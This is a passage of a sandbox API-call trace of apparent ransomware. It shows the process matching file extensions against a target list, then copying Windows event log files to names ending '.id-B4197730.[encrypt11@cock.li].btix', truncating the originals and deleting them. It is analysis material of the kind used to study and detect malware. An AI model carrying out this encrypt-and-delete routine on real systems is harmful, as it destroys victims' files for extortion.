lstrlenW (lpString=".7z") returned 3 [0051.371] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.371] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0051.371] lstrlenW (lpString=".dbf") returned 4 [0051.371] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.371] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0051.371] lstrlenW (lpString=".1cd") returned 4 [0051.371] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.371] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0051.371] lstrlenW (lpString=".jpg") returned 4 [0051.371] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.371] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0051.371] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0051.371] lstrlenW (lpString=".doc") returned 4 [0051.371] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.372] lstrlenW (lpString=".docx") returned 5 [0051.372] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.372] lstrlenW (lpString=".pdf") returned 4 [0051.372] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.372] lstrlenW (lpString=".xls") returned 4 [0051.372] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.372] lstrlenW (lpString=".xlsx") returned 5 [0051.372] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.372] lstrlenW (lpString=".ppt") returned 4 [0051.372] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.372] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0051.372] lstrlenW (lpString=".zip") returned 4 [0051.372] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.372] lstrlenW (lpString=".rar") returned 4 [0051.372] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.372] lstrlenW (lpString=".bz2") returned 4 [0051.372] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.372] lstrlenW (lpString=".7z") returned 3 [0051.372] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.372] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0051.372] lstrlenW (lpString=".dbf") returned 4 [0051.372] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.372] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0051.372] lstrlenW (lpString=".1cd") returned 4 [0051.372] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.372] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0051.372] lstrlenW (lpString=".jpg") returned 4 [0051.372] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.373] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0051.373] lstrlenW (lpString="Microsoft-Windows-SettingSync%4Debug.evtx") returned 41 [0051.373] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0051.392] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=1052672) returned 1 [0051.392] CloseHandle (hObject=0x368) returned 1 [0051.392] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx")) returned 0x20 [0051.392] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.392] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0051.392] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.392] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.392] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0051.404] GetLastError () returned 0x0 [0051.404] ReadFile (in: hFile=0x368, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0051.473] WriteFile (in: hFile=0x394, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0051.487] ReadFile (in: hFile=0x368, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x1010, lpOverlapped=0x0) returned 1 [0051.810] WriteFile (in: hFile=0x394, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x1020, lpOverlapped=0x0) returned 1 [0051.813] ReadFile (in: hFile=0x368, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0051.813] WriteFile (in: hFile=0x394, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x126, lpOverlapped=0x0) returned 1 [0051.813] SetEndOfFile (hFile=0x394) returned 1 [0051.813] CloseHandle (hObject=0x394) returned 1 [0051.924] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.924] SetEndOfFile (hFile=0x368) returned 1 [0051.925] CloseHandle (hObject=0x368) returned 1 [0051.925] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0051.925] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx")) returned 1 [0051.928] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0051.928] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0051.928] lstrlenW (lpString=".doc") returned 4 [0051.928] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.928] lstrlenW (lpString=".docx") returned 5 [0051.928] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.928] lstrlenW (lpString=".pdf") returned 4 [0051.928] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.928] lstrlenW (lpString=".xls") returned 4 [0051.928] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.928] lstrlenW (lpString=".xlsx") returned 5 [0051.928] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.928] lstrlenW (lpString=".ppt") returned 4 [0051.929] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.929] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0051.929] lstrlenW (lpString=".zip") returned 4 [0051.929] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.929] lstrlenW (lpString=".rar") returned 4 [0051.929] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.929] lstrlenW (lpString=".bz2") returned 4 [0051.929] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.929] lstrlenW (lpString=".7z") returned 3 [0051.929] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.929] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0051.929] lstrlenW (lpString=".dbf") returned 4 [0051.929] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.929] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0051.929] lstrlenW (lpString=".1cd") returned 4 [0051.929] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.929] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0051.929] lstrlenW (lpString=".jpg") returned 4 [0051.929] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.929] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0051.929] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0051.929] lstrlenW (lpString=".doc") returned 4 [0051.929] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.929] lstrlenW (lpString=".docx") returned 5 [0051.949] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.949] lstrlenW (lpString=".pdf") returned 4 [0051.949] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.949] lstrlenW (lpString=".xls") returned 4 [0051.949] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.949] lstrlenW (lpString=".xlsx") returned 5 [0051.949] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.949] lstrlenW (lpString=".ppt") returned 4 [0051.949] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.949] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0051.949] lstrlenW (lpString=".zip") returned 4 [0051.949] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.949] lstrlenW (lpString=".rar") returned 4 [0051.949] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.949] lstrlenW (lpString=".bz2") returned 4 [0051.949] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.949] lstrlenW (lpString=".7z") returned 3 [0051.949] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.950] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0051.950] lstrlenW (lpString=".dbf") returned 4 [0051.950] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.950] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0051.950] lstrlenW (lpString=".1cd") returned 4 [0051.950] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.950] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0051.950] lstrlenW (lpString=".jpg") returned 4 [0051.950] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.950] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0051.950] lstrlenW (lpString="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 76 [0051.950] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0052.014] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=69632) returned 1 [0052.014] CloseHandle (hObject=0x36c) returned 1 [0052.014] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx")) returned 0x20 [0052.014] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.017] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0052.017] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.017] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.017] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0052.054] GetLastError () returned 0x0 [0052.054] ReadFile (in: hFile=0x38c, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x11000, lpOverlapped=0x0) returned 1 [0052.124] WriteFile (in: hFile=0x358, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x11010, lpOverlapped=0x0) returned 1 [0052.127] ReadFile (in: hFile=0x38c, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.127] WriteFile (in: hFile=0x358, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x16c, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x16c, lpOverlapped=0x0) returned 1 [0052.127] SetEndOfFile (hFile=0x358) returned 1 [0052.181] CloseHandle (hObject=0x358) returned 1 [0052.183] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.183] SetEndOfFile (hFile=0x38c) returned 1 [0052.185] CloseHandle (hObject=0x38c) returned 1 [0052.185] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0052.185] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx")) returned 1 [0052.196] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0052.196] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0052.196] lstrlenW (lpString=".doc") returned 4 [0052.196] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0052.196] lstrlenW (lpString=".docx") returned 5 [0052.196] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0052.196] lstrlenW (lpString=".pdf") returned 4 [0052.196] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0052.196] lstrlenW (lpString=".xls") returned 4 [0052.196] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0052.196] lstrlenW (lpString=".xlsx") returned 5 [0052.197] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0052.197] lstrlenW (lpString=".ppt") returned 4 [0052.197] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0052.197] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0052.197] lstrlenW (lpString=".zip") returned 4 [0052.197] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0052.197] lstrlenW (lpString=".rar") returned 4 [0052.197] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0052.197] lstrlenW (lpString=".bz2") returned 4 [0052.197] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0052.197] lstrlenW (lpString=".7z") returned 3 [0052.197] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0052.197] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0052.197] lstrlenW (lpString=".dbf") returned 4 [0052.197] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0052.197] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0052.197] lstrlenW (lpString=".1cd") returned 4 [0052.197] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0052.197] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0052.197] lstrlenW (lpString=".jpg") returned 4 [0052.197] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0052.197] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0052.197] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0052.197] lstrlenW (lpString=".doc") returned 4 [0052.197] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0052.198] lstrlenW (lpString=".docx") returned 5 [0052.198] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0052.198] lstrlenW (lpString=".pdf") returned 4 [0052.198] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0052.198] lstrlenW (lpString=".xls") returned 4 [0052.198] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0052.198] lstrlenW (lpString=".xlsx") returned 5 [0052.198] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0052.198] lstrlenW (lpString=".ppt") returned 4 [0052.198] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0052.198] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0052.198] lstrlenW (lpString=".zip") returned 4 [0052.198] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0052.198] lstrlenW (lpString=".rar") returned 4 [0052.198] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0052.198] lstrlenW (lpString=".bz2") returned 4 [0052.198] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0052.198] lstrlenW (lpString=".7z") returned 3 [0052.198] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0052.198] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0052.198] lstrlenW (lpString=".dbf") returned 4 [0052.198] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0052.198] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0052.198] lstrlenW (lpString=".1cd") returned 4 [0052.198] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0052.198] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0052.198] lstrlenW (lpString=".jpg") returned 4 [0052.198] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0052.198] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0052.198] lstrlenW (lpString="Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 45 [0052.198] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0052.200] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=69632) returned 1 [0052.200] CloseHandle (hObject=0x320) returned 1 [0052.201] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx")) returned 0x20 [0052.201] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.201] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0052.201] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.201] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.201] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0052.203] GetLastError () returned 0x0 [0052.203] ReadFile (in: hFile=0x320, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x11000, lpOverlapped=0x0) returned 1 [0052.229] WriteFile (in: hFile=0x38c, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x11010, lpOverlapped=0x0) returned 1 [0052.231] ReadFile (in: hFile=0x320, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.231] WriteFile (in: hFile=0x38c, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x12e, lpOverlapped=0x0) returned 1 [0052.231] SetEndOfFile (hFile=0x38c) returned 1 [0052.231] CloseHandle (hObject=0x38c) returned 1 [0052.233] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.233] SetEndOfFile (hFile=0x320) returned 1 [0052.234] CloseHandle (hObject=0x320) returned 1 [0052.234] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0052.234] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx")) returned 1 [0052.235] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0052.235] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0052.235] lstrlenW (lpString=".doc") returned 4 [0052.235] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0052.235] lstrlenW (lpString=".docx") returned 5 [0052.235] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0052.235] lstrlenW (lpString=".pdf") returned 4 [0052.235] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0052.235] lstrlenW (lpString=".xls") returned 4 [0052.235] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0052.235] lstrlenW (lpString=".xlsx") returned 5 [0052.235] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0052.235] lstrlenW (lpString=".ppt") returned 4 [0052.235] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0052.235] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0052.235] lstrlenW (lpString=".zip") returned 4 [0052.235] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0052.235] lstrlenW (lpString=".rar") returned 4 [0052.235] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0052.235] lstrlenW (lpString=".bz2") returned 4 [0052.235] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0052.235] lstrlenW (lpString=".7z") returned 3 [0052.235] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0052.235] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0052.235] lstrlenW (lpString=".dbf") returned 4 [0052.235] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0052.235] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0052.235] lstrlenW (lpString=".1cd") returned 4 [0052.235] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0052.235] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0052.235] lstrlenW (lpString=".jpg") returned 4 [0052.235] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0052.236] lstrlenW 